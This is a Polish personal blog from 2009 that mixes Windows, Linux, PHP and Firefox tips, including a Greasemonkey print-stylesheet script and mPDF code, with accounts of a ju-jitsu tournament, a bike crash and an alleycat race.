środa, 30 grudnia 2009

Ograniczenie godzin logowania uzytkownikom Windows Server

Co zrobić aby użytkownicy nie logowali się np. a nocy albo w nd na serwer?

Ogranicznie godzin logowania dla użytkowników według dni tygodnia:
najlepiej użyć komendy

net user /time

np:

for /F "skip=1 tokens=1 delims=," %i in (users.txt) do net user %i /time:pn-pt,6:00-18:00

gdzie users.txt jest p;likiem z naszymi wybranymi użytkownikami.

Niestety tylko przy uzytkownikach Active DIrectory można ograniczać niektórym grupom, a tak trzeba poszczególnym użytkownikom.

wtorek, 29 grudnia 2009

$_FILES i PHP

Czytanie instrukcji-pomaga:
w php.net jak byk stoi napisane: rozwiazanie mojego problemu:
Jesli po uploadowaniu pliku skryptem (form input type="file") nie dostajesz go na serwerze,
albo superglobal $_FILES jest pusty.
To problem może być w:
  • w formie:
używasz " zamiast '
zamykasz!!! formę </FORM>
używasz enctype="multipart/form-data"
używasz POST a nie GET
używasz innego name dla kazdego input fielda
używasz <fieldset>

  • php.ini:
post_max_size=12MB    //nie zapomnieć o tym ze MB<>M !!
upload_max_file_size=12MB
file_ulpoads=On
  • na dysku:
masz miejsce w katalogu tmp, albo tam gdzie masz ustawione uploadowanie plików
apache ma prawa zapisu w tym katalogu(w windows standartowo wszyscy maja wszędzie prawo domyślnie :(, ale w Linuxie root mogł zmienić prawa dostępu!) )

Uzyskana forma powinna wygladać mniej wiecej podobnie:
<font color="#003300"><form name="form" action="index.php" method="post" <b>enctype="multipart/form-data</b>">
<fieldset>
<input type="file" name="firstfile"//>
</fieldset>
<fieldset>
<input type="file" name="secondfile"//>
</fieldset>
<fieldset>
<input type="submit" value="Wyslij" //>
</fieldset>
</form></font>

Czasami jeszcze javascript powoduje błędy(np w niektorych wersjach frameworku VCL), ale żadko się to dzieje.



niedziela, 27 grudnia 2009

Windows RDP problem fix

Jeśli ktoś ma problemy z połaćzeniem się poprzez RDP z serwerem Windows.
TAki że po kilku minutach sesja jest rozlączana,
i czasami potem już nie da się podłaczyć do tej maszyny poprzez RDP(a serwer apache/IIS/tomcat dalej działa)
Problem wysępuje m. in. WindowsSERWER!!2003, WindowsXP sp2+,...
To rozwiązaniem moze być zmiana (regeditem) wpisu w rejestrze:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
wartość z 10(szesnastkowo) na:
  • 20 czyli - 32MB
  • ew 80 - czyli 128MB
Problem wiąże się z tym że sesja ma zbyt małą wpołdzieloną pamieć miedzy wszystkie DLLki : sterownik drukarki, sterownik karty graficznej, itd.. i czasami brakuje juz pamieci dla nich.

Problem ten jest opisany w sieci jako " problem RDPDD.dll " czyli "remote desktop protocol display driver problem/error"
Czasami można też ten problem odkryć przegladając Logi serwera i odnajdując poniższy wpis:
\SystemRoot\System32\RDPDD.dll failed to load

Innym rozwiązaniem zarzucenie WInZgrozy na rzecz Linuxa ;)

wtorek, 15 grudnia 2009

Turniej ju-jitsu w Kazimierzy Wielkiej 2009r.

Na temat zawodów:
Data 12-13.XII.2009r.
Turniej ładnie rozreklamowany. Goście z niemiec(kungfu). Darmowy SMACZNY! poczęstunek i picie. Bardzo przyjazna atmosfera zawodów. Nad tym wszystkim unosił się duch sportowej rywalizacji. Ale organizacyjnie to klapa:
  • Ostatecznie nie dostaliśmy regulaminu zawodów.
  • Ważyć - to się ważyliśmy sami - wraz z sekcja z Kobyłki.
  • Zasady się zmieniły w trakcie walk. - np. zawodnik juz podczas walki się dowiedział, że bedzie tylko jedna runda.. chociaż reszta turnieju byla rozgrywana w 2 rundowych pojedynkach.
  • Niemożliwośc stosowania podstawowych technik: Zabroniono używania ciosów prostych! Ogolnie zgadzam się z sędziami, że to ograniczyć mogło liczbę nokautów i kontuzji... ale przecież to jest FULL CONTACT!! Jak ktoś się boi, to przecież może wystartować w semi albo/i light contact. Dalej liczba technik zabronionych: lowkick?! front kick... ogolnie każdy kick (chyba ze wykonywany z wyskoku??WTF!!), duszenia nogami itp.. No prawie jak na turnieju szachowym.
  • Rozstawienie zawodników - cześć sekcji została tak rozstawiona że trzeba bylo toczyć bratobójcze walki! już w pierwszej walce. Najcześciej zawodnikó z jednej sekcji ustawia się tak, że walczą przeciw sobie dopiero w finałach (ew. połfinałach).
 Liczę że te niedociągnięcia będą naprawione za rok.

Przebieg turnieju:
Dojechaliśmy szcześliwie w 3 auta ok godz 8:00. Jak sie załoga wypakowała to sie okazało, że musimy sami się zwarzyć. Potem była przerwa techniczna do ok 11:00.

Ok 12: nasz junior Adaś miał pierwszą walką.
Pierwszy pojedynek przegrał z technicznie lepszym zawodnikiem. Ale ostatecznie wywalczył 2gie miejsce. Myślę, że wyciągnie wnioski z pierwszej porażki, bo parę razy miał przewagę nad przeciwnikiem - raz nawet założył mocne duszenie.

Następnie była przerwa obiadowa, po której nasz senior Norbert walczył z zawodnikiem gospodarzy(?).
Po ciężkiej i dobrej walce Norbert przegrał.

Następnie doszło do bratobójczej walki miedzy naszymi zawodnikami: Tomkiem i Wojtkiem.
Wojtek jak na swoją wagę jest nadzwyczaj silny - ma siłę porównywalną z moją(a jestem cieższy o przeszlo 20kg). Co ciekawe swoją siłę uzyskuje przy zupełnym braku mięsni. Dla mnie, jako jako czlowieka który miał w zyciu już sporo doczynienia z biochemia, jest to spora zagadka - jak on to robi?
Tomek z kolei jest sporo słabszy od Wojtka, ale dzieki swojemu wielkiemu zasięgowi(wzrost 2m) i lepszej technice nie można powiedzieć kąpensuję tę pierwszą wadę.
Pojedynek ciekawy.Wynik walki:
  • Tomek: wybita rzepka z kolana.
  • Wojtek: otrzymane obrotowe kopniecie na glowe - w potylicę.
W ekekcie czego : obaj kontuzjowani.Wojtek się wycofał z turnieju, a Tomek który stracil sporo na swej ruchliwosci (uszkodzone kolano) przegrał sromotnie swoja kolejna walkę.

Kolejna walka miedzy "naszymi chlopakami" odbyła się w w kategorii ok 80-90kg.
Tutaj niespodzianka: po bardzo zawziętym pojedynku Jacek(w zółtym pasie) załatwił stojego Senseji(pseudo Kulfon). Do końca walki pojedynek bardzo wyrównany i wynik nie był przesądzony do statniej sekundy. Była to bardzo ładna techniczna walka. Pełna zaskakujących rozstrzygnięć.

Okazało się że nikt nie zgłosił się do mojej kategorii wagowej!, Choć widziałem zawodnikó odpowaidających mi posturą, to pewnie startowali w kata(formach) - Dlatego za rok musze zejść do 82 kg, abym mogł sobie cokolwiek powalczyć.

Wyszedłęm na matę , ale z powod braku jakichkolwiek chetnych do walki ze mną, odebrałem tylko gratulacje od sędziego i chłopaków za NAJKRÓTSZĄ walkę finałową. Zwyciezyłem w 0s!! tego nawet Chuck Noris nie potrafi!

Niestety, nie mogliśmy być na gali(pokazach), ani wręczeniu nagród, gdyż musieliśmy wracać do Krakowa. Czego bardzo żałuję.

Ogolnie turniej zostawił mieszane uczucia, ale mam nadzieję ze za rok impreza okrzepnie i nabierze jeszcze wiekszej siły.
Za rok. też będziemy.

poniedziałek, 14 grudnia 2009

Facebook chat w Ubuntu

Dla czatujących za pomocą Pidgina dobra wiadomość:
Wójek google przygotował:
Nowy pakiet dla Facebooka.
wystarczy w terminalu wpisać:
i można juz czatować z facebookiem w UBUNTU.
Ciekawe tylko czemu do Empathy jest mniej wtyczek?

wget http://pidgin-facebookchat.googlecode.com/files/pidgin-facebookchat-1.38.deb

sudo dpkg -i pidgin-facebookchat-1.38.deb


Zródło wiadomości:
Ubuntugeek.com

czwartek, 3 grudnia 2009

Cloud Computnig pod strzechy.

Dzis ustawiałem mój pierwszy prywatny "cloud cluster", czyli po ludzku chmurkę.
Wszystko chula na UBUNTU - ktorego od jakiegoś czasu męczę, bo wydaje się dużo lepszy od OpenSUSE,
którego też już muszę "męczyć".

Ogolnie aby tematem się woglóle zająć trzeba mieć:
  • ogólny "opyk" w Linuxach, szczególnie : Debian ew. RedHat, bądź UBUNTU
  • kilka maszyn - najlepiej 2+ rdzeniowe, 2+GB RAM - ogólnie śmieci do chmurki nie opłaca sie wrzucać
  • szybką sieć miedzy maszynami - najlepiej 1GB
  • wszystkie maszyny w tym samym segmencie LAN np. 192.168.52.x
  • wiedzieć conieco o podstawach cloud computing (polecam WIKI)
Na upartego, mozna wszystkie te ograniczenia ominąć, ale po co?

Niedługo napiszę co i jak trzeba zrobić, aby calość działała.
Jak pomyślę ze niedawno chciałem google płacic za dostęp do usług w cloud'zie....

To niedługo to jest już dziś:
Bierzemy nasze maszynki i z Instalki UBUNTU SERWER 9.10 wybieramy "Install Enterprise Cloud"
Potrzebować bedziemy 1 cluster i kilku 2+ node do spiecia w grid
nasz ClusterNode bedzie zachowywał się jako:
  • FRONTEND naszej chmurki
  • DNS - dla pozostałych komputerów w cloudzie
Jeśli nasz cluster działa.. instalujemy nasze nody(węzły). - instalka rozpoznaje że w segmencie sieci już ciała
nasz cluster - i domyslnie podpowiada aby dalej instalowac nody - węzły.

Po skończonej instalacji ostatniego serwera w chmurce , jeszcze raz włączamy
naszego pierwszą maszynę i uaktualniamy DNS (poleceniem euca_conf). Aby widział wszystkie nody.
Ciekawe że sam tego nie robi.. pewnie chodzi aby ktoś nam nie podrzucił takiego spreparowanego noda do sieci.

Jak zarzadzać naszą chmurką??
Trzeba deploynąć na nią jakis obraz ISO - taki spraparowany serwer - jest do tego specjalne oprogramowanie
np. VMBuilder.
Są też w sieci dostępne gotowe obrazy do użycia - np. z preinstalowanym serwerem apache i tomcat.
Trochę mi jeszcze brak opcji do konwertowania zwykłych obrazów dysków w te chmurkowe,
ale pewnie liczba konfiguracji do zmiany bylaby bardzo duza.

Do zarządzania FrontEndową maszyną(Clustrem) jest kilka aplikacji - ja używam Eucalyptus.
Powiedziec mogę tyle : działa.

niedziela, 29 listopada 2009

Windows - persistent SUBST

PSUBST - persisten subst, to nażedzie pozwala na podstawianie dysków np c:\mojedokumenty jako z:, podobnie jak SUBST jeszcze z czasów DOS. Jednak ma taka przewagę, że podstawione dyski nie znikają po restracie systemu. Tzn. nei trzeba ich dopisywać do AUTOSTART.

http://code.google.com/p/psubst/

czwartek, 26 listopada 2009

JavaSrcipt Adds Remove

Jak usunąć reklamy z naszych ulubionych stron?

Wystarczy tylko w Firefoxie załadować dodatek GreaseMonkey
a potem wejśc na stronę:
i klinkąć INSTALL
wszytkie reklamy znikną.

Innymi słowy:
wczoraj napisałem 2 proste skrypty w Javascript które usuwają reklamy.
Są oczywiście na licencji GNU i pisane w sciśle edukacyjnych! celach.
Oczywiście przetestowałem je i działają w 100%, ale nie gwarantuję że powiedzmy
za rok jakieś zupełnie nowy typ reklam nie zostanie dorzucony do powyższysch stron.

Działanie:
Skrypty wywalają reklamy, ale najpierw je sciągają ma to swoje plusy i minusy:
+ twórcy strony dostają pieniądze za wyświetlanie reklam
+ których nie musimy przecież oglądać
- ponieważ (jednak) sciągamy te reklamy - to niepotrzebnie zurzywamy nasz transfer.


środa, 25 listopada 2009

Porównanie dysków sieciowych.

Który dysk sieciowy jest najlepszy?


Odpowiedź na to pytanie nie jest prosta:
Do zastosowań komercyjnych polecam płatne dyski sieciowe.
Obecnie prawie kazdy prowider oferuje takie dyski.
Jednak chcaiłbym opisać tutaj różnice pomiędzy moimi 2ma dyskami sieciowymi:

Co je łączy : + Darmowe 2GB

                     UbuntuOne                      DropBox
przenośność:   -tylko na Linuxa      +porty na Win/Linux/Mac
integracja:       +pelna                          +trzeba instalować
CPU:                  +małe obciażenie      -zwalnia na staryszych komp.
transfer:           -tylko przez QOS      +
możliwa dod. konf.
kontrola wer: -brak                            +prosta kontrola wersji


Podsumowanie jeśli tylko używasz też innych platform poza Linuxem
DropBox wydaje sie oczywistym rozwiązaniem.



piątek, 20 listopada 2009

DROPBOX - dysk sieciowy

Co to jest DROPBOX ?


DROPDOX to jeden z darmowych i popularnych dysków sieciowych.
Jeszcze używam Ubuntu One - test porównawczy już niedługo.

Plusy:
+2-3GB free miejsca na sieci do synchronizowania pomiedzy różnymi maszynami
+backup danych na dysku sieciowym - chociaż kto ich tam wie?? :)
+klient desktopowy dla linuxa
+j.w. tylko dla windy
+dostep przez WWW
+łatwość pisania aplikacji - napisałem juz pierwszą aplikacje PHP z wykorzystaniem DROPBOX - zapostuje ja wkrótce
+automontowanie dysku sieciowego w system plików
+podstawowy revision check
+30-dniowy kosz do odzyskiwania plików

Minusy:
-ciągle tylko BETA
-za większą pojemnośc trzeba płacić - ale wkońcu autorzy muszą na czymś zarabiać
-problemy z Autozapisem MS worda i exela (tworzy zadużo plików)
-brak opcji wyłączania syncowania plików
-największy MINUS - drivery są "priopheritary" czyli do projektów OpenSource ma sie to nijak
-SVC, czy Perforce do revision control sa duzo lepsze
-reklam jeszcze nie ma

Na dzień dobry zarzyczyłem sobie(A CO?? :) ) nowej funkcjonalności:

Dropbox Forums Topic: New OPTION - Do NOT sync
Lukas G. on "New OPTION - Do NOT sync"
20.11.2009 11:50

I would like a new feature: Do NOT sync this file/folder.

Availability : via desktop + via WWW

Description: mark an folder/file that your chosen desktop would NOT AUTO sync. So syncing would be committed only on MANUAL request. Others desktops connected would be able to AUTO sync it.

Why:
I got 2 serwers that ARE syncing backups files,

but i dont want to my home laptop start syncing this file automatically.

WORKAROUND: u can disable chosen desktop computer folder permissions to write to DROPBOX, but a NEW - build-in feature would be much more elegant way.

BTW: is any chance that u would opensource API for dropbox, or licence dropbox driver on MIT/GNU licence??

PS. kurcze ale długi post wyszedł... :)

środa, 18 listopada 2009

Jak nie robić stron internetowych cz4.


Niestety tym razem jedna z moich ulubionych autorek.
Na swojej stronie umieszcza takie oto cuś:
A wystarczyłoby wyłączyć php_flag error_reporting.
Poprzednie części cyklu:


wtorek, 17 listopada 2009

Firefox speed up

Czyli jak przyspieszyć wyszukiwanie stron w Firefoxie?

Aby przyspieszyć wyświetlanie stron w ff 3 można w
about:config
dodać wpisy (integer)
nglayout.initialpaint.delay

content.notify.interval
z wartoscią 0 (zero)

Spowodują one, że przegladarka nie bedzie czekać na całość strony, tylko będzie od razu starała się ja zrenderować.

Można takze dodać/zmienić wpisy:
network.http.pipelining.maxrequests   = 8
network.http.pipelining                      = True (boolean)
network.http.pipelining.firstrequest     = True (boolean)

piątek, 6 listopada 2009

Warningi i inne zjawiska pogodowe

Tak, tak, to już 3ci rozdział cyklu jak nie robić stron internetowych.
Dziś prezentuję...


czwartek, 5 listopada 2009

NicEdit

NicEdit- podobny do FCKedit javascriptowy skrypt . Do pisania tzw "RICH EDIT TEXT" czyli rtf. Może też generować dość ładny kod HTML.

Fire gestures

Fire gestures - jest to plugin do firefoxa, pozwalający na używanie gestów myszy do obsługi programu

http://www.xuldev.org/firegestures/
Dzieki temu dodatkowie będę wreszcie mogł wszedzie przejsć na firefoxa.
Mój ulubiony gest: .. kozakiewicza??
a na poważnie do minimalizacja okien przesuwajac mysz w prawo-dół
w celu instalacji trzeba wejsc w Narzędzia->Dodatki


A potem w zakładce gesty ustawić DR (prawo-dół)

piątek, 23 października 2009

PHP Project 6

Jeśli startujesz z projektem ze znajomymi.
A większość z tych osob siedzi za granicą.
To php projekt 6 jest idealnym darmowym narzedziem dla Ciebie.





Strona projektu: - shooty pochodzą z niej.
http://www.phprojekt.com/

środa, 21 października 2009

Koszmarne strony WWW cd.

Poniżej koeljna cześć odsłony najgorszych stron WWW w polskiej sieci. (poprzednie)
Konia z rzędem temu, kto doczyta sie liter pisanych niebieską czcionką na jaskrawo zółtym tle.

Dlatego google zapozycjonował dość  nisko sieć, bo dopiero na 3ciej pozycji.
Byłoby pewnie jeszcze niżej, ale w końcu, ile może być: firm o tej jakże wyszukanej nazwie?



Strona wyraźnie odstaje od standartów jakie wyznaczyła Alma:
http://www.almamarket.pl/sklep

poniedziałek, 19 października 2009

Błędy w sterowniku PDO dla Firebird

W driverze PDO dla Firebirda w wersji php 5.2.8 są dośc poważne błedy.. jesli wczytamy sie dokumentację.. to pierwszy akapit jasno stwierdza ze wsparcie FB jest czysto experymentalne.
Błędy to:
1. zwraca 2krotnie za duzo danych:
tzn.. stmt["2"]==stmt["2nd col name"]
2. zaczyna fech od nulli (pierwsze 2 linie sa nulami)
3. nie rozumie prostych skladni SQL np: " cast (a.data as date) as data, przy czym
a.data jest polem TIMESTAMP.
Zwraca oczywiscie w tym miejscu NULL, bez WARNINGA, czy exeptiona
3a.dodam tylko że ja zwracam exeptiony jesli czegoś nie rozumiem... sterownik wydaje się mieć inna filozofię..
Nie.. powaznie.. warning w manualu musi nam wystarczyć :(

... no ogolnie nie byłem zachwycony ... chociaż na plus :
1. jest obiektowe
2. catch exeption działa :)

Co jesli dodamy pewne bugi w innych sterownikach np. ADODB - to obraz komercyjnego wykorzystania firebirda rysuje się nieciekawie.
Wprawdzie są cienie nadzieji: - borland zaczyna wspierać (zapowedział) w swoim RAD wsparcie dla FB, ale są to nikłe odbicia jego możliwości.

PS. Borland wsparcie zapowiedział dla FB 1.5 który jest przestarzalą wersją. podatną na włamania - której żadna szanująca firma nie używa. Jak zwykle duże koncerny 100 lat za resztą :( .

PS2. Szkoda, że sporo potencjału FB na rynku aplikacji zamknietoźródłowych się marnuje, bo na polu Opencource FB odnosi duże sukcesy.

poniedziałek, 12 października 2009

Rozbiłem się

Rower uszkodzowny.
Wbiłem sie w osobówkę. To fakt że w polsce nikt nie zwraca uwagi na rowerzystów.
Niektórzy potrafią wyprzedzić i od razu zacząć hamować :np. aby skręcić, albo dojeżdzając do korka. Tak było w moim wypadku.
Niestety, jeśli się wjedzie w tył pojazdu, wina leży po stronie wjeżdzającego - w moim wypadku leżacego.
Przy 32km/h udezyłem w tył pojazdu, przeleciałem nad dachem i spadłem na sąsiedni pas ruchu.
Dobrze ze nikt mnie nie przejechał. Po raz kolejny umiejętność padów się przydała - żadnych złamań. Tylko (tylną lampą?) rozcięty do kości palec. Nacięcie małe, prawie punktowe dlugosćci 2 centymetrów. Mam nadzieję, że zagoi się szybko.
Znów pliki nie pojdą do repozytorium na czas.

czwartek, 8 października 2009

Dla Wewa - czipsy o smaku wiewiórki

Google także wie co jest dla nas dobre.
Specjalnie dla wewa - fana malych futrzastych rodziutkich lisków.

Google rendering in IE6

Google udostępnił plugina do IE6.0+
który podmienia silnik renderujący na CHROME.
Otwierajac strony w IE teraz można je wyświetlać przy użyciu silnika google.

plusy:
  • dużo szybszy
  • zdogny ze standartami
link do wiadomości(źródło):
http://www.labnol.org/software/force-google-chrome-in-internet-explorer/9998/


środa, 30 września 2009

DKIM

Cóż takiego jest to DKIM?


Skrót wprawdzie zawiły: DomainKeys Identified Mail, ale chodzi o to
żeby domena rozsyłająca pocztę się do niej przyznawała,
inaczej: aby możnabyło ustalić nadawce wiadomości.

co nam to da:
wyrzucenie naszych newsletterów z automatycznych filtrów spamu.
Własnie tą bibliotekę:
http://sourceforge.net/projects/php-dkim/ przepisuję na obiektową.
Zabaczymy co z tego wyjdzie.

poniedziałek, 28 września 2009

Po alley'u

Alleycat zakopane - był jednym z najlepszych w jakich brałem udział - niektore atrakcje:
  • dobrze dobrane punkty - ułatwienie dla zamiejscowych (ceprów)
  • wjazd kolejka gondolkowa na gubałówkę
  • piekne widoki all included
  • oscypek na checkpoincie
  • afterparty w rytmach rege z filmem nawiazującym do tematyki
  • straty w sprzecie: 1 szprycha
  • straty w ludziach 1 osoba: Sara - na Salamandry (zjazd z gubałówki) dzięki "uprzejmości" kierowcy osobówki - znalazla się w rowie. OTB przy duzej szybkosci zakonczylo sie szlifami twarzy, utratą pamięci i późniejszą wizyta w szpitalu. Pomimo ciężkiego bólu głowy, dzielna Sara kontunuowała wyścig i odwiedziła wszystkie punkty kontrolne. Poźnym wieczorem, juz po ciemku docierając na metę. Na finishu pomimo cieżkiej kontuzji Sara wykrzesałą z siebie resztki (sz)mocy i wyprzedziła mnie na ostatnich paru metrach. W ten sposób "godnie" zasłuzyłem sobie na miano "ostatniego" -TFL (the fucking last)- i zostałem wyróżniony czapeczką ze śmigiełkiem, którą po dziś dzień z dumą noszę.
  • uphill z powodu "upalnego" wieczoru się nie odbył
  • za to na BIKE POLO reprezentacja krakowa dzielnie stawała w szaranki z warszawiakami (wzmocnionymi o reprezentankę NYC - Sarę)


piątek, 25 września 2009

Allycat zakopane


Nadchodzi nowa impreza - miejmy nadzieje że cykliczna :)
Allycat zakopane
link:
http://hare-rama.blogspot.com/
Wkrótce foty z wyjazdu!.

wtorek, 22 września 2009

Dbdesigner Firebird


No już jakoś zupełnie odjechalo mi na punkcie firebirdzie, projekty na Postgresie zostaly odwieszone na kołek. Wprawdzie ciagle jeszcze musze sie kisić na produktach MS - z niesławnym JET engine na czele, ale już niedługo :)

Najfajniejszym narzedziem do graficznego planowania bazy jakie znalazłem jest tabFORCE DBdesigner4. http://sourceforge.net/projects/dbdesigner-fork/


Wspiera firebird tylko poprzez ODBC, ale lepszy rydz niż nic. Zalety: to możliwość szybkiego opisania tabel relacji, kolorowania - zwieksza szybkość projektowania tak 2 krotnie (w moim wypadku) - najbardziej widać różnicę szybkości przy optymalizacji bazy.


Może doczekam się kiedy FIrebird bedzie wspierany natywnie przez duże projekty.
Nawet ponoć najnowszy Delphi bedzie wspierać firebird - w poprzednich wersjach trzeba bylo wymieniać ręcznie DLL. A o produkcie delphi4php który w standartowych kontrolkach miał bugi (np. nazwy tabel upercase) - nie bede nawet wspominał.

poniedziałek, 21 września 2009

Free PHP IDE

Rodzina darmowych narzędzi do tworzenia profesjonalnego kodu PHP - się powiększyła o shiskabab.
 
Wygląd nowego IDE do PHP - własnie testuję i porównuję z znanym i lubianym Eclipse.

piątek, 18 września 2009

Bugi na stronach yellowpages.pl

Na stronce yellowpages.pl
Juz jakis (spory) czas temu zgłosiłem im ten bug.
Przy okazji zupełnie innego klienta
objawiajacy sie tym ze niepotrzebnie do adresu URL jest doklejany znak ")"

Czemu teraz o tym piszę?
Ponieważ, dziś im 2gi raz zgłaszam - i zobaczymy ile dni trwa usunięcie drobnego błedu :D
Jak na polskie warunki obstawiam 4-6 miesięcy.





Sprostowanie:


1.No i się okazalo że jeśli bezpośrednio się z kontaktowałem, z firmą która robiła ten serwis, to odzew był natychmiastowy.
Kontakt bardzo rzeczowy.
2.Podobno wina pluginu. Całkiem możliwe. Takwiec umieszczam sprostowanie, aby potomność miała jasny obraz.

poniedziałek, 14 września 2009

Easter Egs

Ciąg dalszy o edytorach:
Emacs - ejst to swietny edytor na lic. GNU
Vi - jest to tez dobry edytor, choć mniejszy i niepoprawny politycznie. Polecam artykuł o tym jak nawigować po pliku w VIM.
http://www.dina.kvl.dk/~abraham/religion/vi-tutorial.html

Choć pewnie każdy wie, w firefoxie istnieją następujące strony - wystarczy w oknie przegladarki wpisać:
  • about:mozilla
  • about:robots


BOM - czyli: "ďťż" what da f*ck?

Jeśli na początku pliku który wyświetlamy pojawia się
<h1>ďťż</h1>
to oznacza ze windows dorzucił nam:

BOM Byte Order Mark - mówi systemowi w jakiej kolejności zapisywane sa bajty danego znaku.

ja go usunąć wyciać wszystkei znaki (caly 1den na początku pliku) ktore mają hexdec = EF BB BF
i tyle.
albo uzywać notepad2, notepad++,VIM,mEmacs - słowem wszystko byle nie produktow MS

wtorek, 8 września 2009

HTML do PDF - generacja

Wstęp:
Dużo czasu upłyneło odkąd ostatni raz pisałem - nowe projekty = brak czasu.

Do generecji seryjnej poczty(maile, faxy,sms) uzywam smarty.
Najczesciej wyglada to tak, że istnieja 3 warstwy programu:
  • template - w smarty wykonana warstwa prezentacji, caly kod html jest tutaj, dodatkowo dochodzą style CSS (osobny dla drukowania)
  • data-logic layer - tutaj obliczam wszystkei zmienne ktore później wołam w smartym
  • data-aquisition - warstwa czytajaca config polaczenia z bazą, pobierajaca wszystkie dane.

Problem jest gdy chcemy wysylać faxy z systemu korespondencyjnego(mailer).
Otóż każdy fax winien być plikiem *.pdf, ew. plikiem graficznym
-przy czym generacja pdf z HTML jest szybsza niż plików graficznych,
-i wymaga mniejszego transferu.

Rozwiązanie:
Z pośród kilku testowanych(ok5) klas najszybszy okazał się HTML2PDF.
Najlepszy stosunek możliwosci/szybkosc miał mPDF.
Plusy:
  • zero problemów z polskimi ogonkami
  • obsługa zewnętrznych styli css, mozliwosc podmiany HEADA
  • obsługa stopki footera
Oto jak prosto go użyć:

$mpdf=new mPDF('iso-8859-2'); //use polish fonts
$mpdf->charset_in='windows-1250'; //polish fonts - skip if u use linux serw
$stylesheet = file_get_contents("./INCLUDES/styl.css"); //import external styleshet
$mpdf->WriteHTML($stylesheet,1); //swap external stylesheet
$mpdf->WriteHTML($html,2); //$html - contains generated HTML page via Smarty
$mpdf->Output('test1.pdf',F); //output a disk file


wynik przykladowej templatki:


niedziela, 9 sierpnia 2009

Powrót ze skandynawi

Niedawno wróciłem ze skandynawi.
Jeden z lepszych czasów mojego życia.
przekręciłem okolo 3 tyś.
Odwiedzilem wszystkie kraje gdzie mieszkali wikingowie, czyli:
Danie, Szwecje,Norwegie i Finlandię.

Zdjecia ze skandynawi beda dostępne w przyszłym tyg. na picasa.

czwartek, 9 lipca 2009

jak nie robić stron WWW

1.Ohh misiu :
Na wie(jskiej)lkiej stronie internetowej pewnej znanej marki
możemy poznać jakąś "misię"
2. Otwierając menu możemy posłuchać szemrania wody w toalecie
3. na cały ekran otwierają się wielkie, okropnie zniekształcone zdjęcia



środa, 8 lipca 2009

poniedziałek, 29 czerwca 2009

FCKeditor

FCKeditor - jest to prosty lecz potęrzny edytor, dzila pod JS,laszo,PHP, tomcat itp..
może działać jako embedded, więc można go dorzucić do dowolnej aplikacji Webowej.
Polecam.



czwartek, 25 czerwca 2009

Embedded TagCloud

Hi, i like tagcluds, i use them for firefox and google plugins. Today i've done, using Roy Tanck's, a nice embedded tagcloud flash. that will change html code like this:<embed id="tagcloud" width="650" height="450" type="application/x-shockwave-flash"
src="tagcloud.swf" name="tagcloud" bgcolor="#ffffff" quality="high" allowscriptaccess="always"
flashvars="tcolor=0x333333&mode=tags&distr=true&tspeed=100&tagcloud=<tags>
<a href='#1' style='12'>Menu Górne</a>
<a href='#2' style='12'>Menu Dolne</a>
<a href='#3' style='12'>Menu Lewe</a>
<a href='#4' style='12'>Menu Prawe</a>
<a href='#5' style='12'>Zapis</a>
<a href='#6' style='12'>Odczyt</a>
</tags>"/>
for nice graphical interface like this: when u move your mouse over flash - tags also are moving. In this way u get interaction.

czwartek, 18 czerwca 2009

Przenośna wersja aplikacji

90% windowsowych appsów instaluje się w rejestrze - wrzuca tez czasem jakies pliki do common files.. itp...
ręczne przerobienie tej aplikacji na przenośną nie jest takie ciężkie jak sie by wydawało.
Idea: robimy migawkę systemu przed instalacją programu
robimy migawkę po instalacji programu
z 1szej migawki robimy kopie przyrostową i porównujemy wynik z 2ga migawką
jeśli sie zgadzają - mamy przenośną aplikację.

1.instalujemy VIrtual BOx - freeware
2.instalujemy na nim windows
3. sciagamy program do robienia kopi przyrostowej : np.VMware ThinAp
4. dzięki VMware ThinAp  robimy migawkę przed instalacją programu 
5. instalujemy nasz program (ofiarę naszych eksperymentów)
6. programem VMware robimy 2ga migawkę -  po prostu w kreatorze klikamy klikamy dalej
7. cieszymy sie naszym programem w wersji portable

Zalety:
+program jest przenośny
+zajmuje mniej miejsca - dzięki kompresji w locie plików
+w przyszlosci mozemy w kazdej chwili nadpisać istniejący już program
 np. aby pozbyc się wirusa

Sterownik wydruku pod Firefox

Jak zmienić sposób drukowania stron pod FIrefoxem?


To proste- nalezy zainstalować greasemonkey
- dodatek do firefoxa i dodac kod javascript który bedzie wstrzykiwany w wybraną stronę podczas otwierania.
Idea jest prosta:
1.wskrzykujemy własny styl CSS
2.ustawiamy media: print - styl dziala tylko przy wydruku
3. dodajemy atrybut !important aby nadpisać ewwentualnie istniejace style CSS

kod na podstawie Boring CSS by Eric Talevich

// Printer Driver for Firefox
// version 0.2
// 2009-06-02
// Copyright (c) 2009, Lukas Gintowt
// Released under the GPL license
// http://www.gnu.org/copyleft/gpl.html
//
// --------------------------------------------------------------------
//
// This is a Greasemonkey user script. To install it, you need Greasemonkey
// 0.4 or later: http://greasemonkey.mozdev.org/ Then restart Firefox and
// revisit this script. Under Tools, there will be a new menu item to "Install
// User Script". Accept the default configuration and install.
//
// To uninstall, go to Tools/Manage User Scripts, select "FF Printer Driver", and
// click Uninstall.
//
// --------------------------------------------------------------------
//
// ==UserScript==
// @name FF Printer Driver
// @description Replaces each page's CSS printing stylesheet.
//@include http://poczta.serwer.ip/*
// @include http://blogs.*.com/*
// @include http://*.wikipedia.org/*
// @include http://*.googlepages.com/*
// ==/UserScript==

mystylesheet = '' +
'body {font-family: Verdana, sans-serif; color: black; }' + //background: #FFFF;
'a:link {color: #00A;}' +
'a:visited {color: #666;}' +
'a:hover {color: #008; background: #EEF;}' +
'a, div, p, dd, li {font-size: 8pt; line-height: 80%;}'+
'h1 {font: 12pt Georgia, serif;}' +
'h2 {font-size: 12pt;}' +
'h3 {font-size: 11pt;}' +
'h4 {font-size: 10pt;}' +
'table{font-size:8pt !important;display:print !important;media:print!important;}'
//+ 'table{font-size:10pt !important;display:screen; media:screen}' //here you can defice print style for screen
//'a, div, p, dd, li {font-size: 10pt; line-height: 170%;}'

window.addEventListener("load", function(e) {
// Remove the existing embedded and linked stylesheets
var styles = document.getElementsByTagName('style')
while (styles[0])
styles[0].parentNode.removeChild(styles[0])

var links = document.getElementsByTagName('link')
for (var i=0; i < links.length; ++i ) {
var link = links[i]
if (link.getAttribute('rel').toLowerCase() == 'stylesheet') {
link.parentNode.removeChild(link)
i-- // Since we popped a node, the indexes shift by 1
}
}

// Define the new stylesheet for the page & attach it

var newstyle = document.createElement("style")
newstyle.type = "text/css"
newstyle.media = "print"
var css = document.createTextNode(mystylesheet)
newstyle.appendChild(css)
document.getElementsByTagName('head')[0].appendChild(newstyle)
}, false)




